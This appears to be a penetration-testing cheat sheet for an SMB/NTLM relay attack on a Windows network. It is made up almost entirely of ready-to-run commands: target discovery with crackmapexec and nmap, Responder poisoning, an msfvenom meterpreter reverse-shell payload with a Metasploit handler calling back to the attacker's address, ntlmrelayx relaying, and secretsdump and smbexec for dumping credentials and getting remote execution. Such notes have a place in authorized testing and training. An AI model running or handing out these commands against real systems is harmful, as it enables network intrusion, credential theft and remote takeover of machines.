SMB Replay
SMB Replay
Check if we have a target for SMB relay.
# Change the IP range for your target
crackmapexec smb 10.0.0.0/24 --gen-relay-list /tmp/targets.txtCheck the SMB signing requirement. You should look for a host with 445 port open and Message signing enabled but not required or Message signing is disabled.
nmap --script=smb2-security-mode.nse -p445 10.0.0.0/24
Start Responder. Ensure you disable SMB server and HTTP server on conf.
# Ensure you configured the /etc/responder/Responder.conf file to disable SMB server and HTTP server.
sudo responder -I eth0 -PvdDw
# For -e option (execute), you will get a reverse shell.
Kali> msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.208 LPORT=80 -f exe -o rshell.exe
Kali> sudo msfconsole -q -x "use exploit/multi/handler;set PAYLOAD windows/meterpreter/reverse_tcp;set AutoRunScript post/windows/manage/migrate;set LHOST 10.0.0.208 ;set LPORT 80;run -j"
# then, run Responder
sudo responder -I eth0 -PvdDw Start NTLM relay.
ntlmrelayx.py -smb2support -tf attacklist.txt
# -e option
ntlmrelayx.py -smb2support -tf /tmp/targets.txt -e ./rshell.exe --no-http-serverLogin to a vulnerable target and access to the Kali SMB file share.
# From Target Windows, connect back to Kali.
CMD> Copy a.txt \\10.0.0.208\smb 
If you get an Administrator credential (NTLM hash), try the following commands.
Kali> proxychains4 -q secretsdump.py FILE01/Administrator:anypassword@10.0.0.59
Kali> proxychains4 -q smbexec.py FILE01/Administrator:anypassord@10.0.0.59Last updated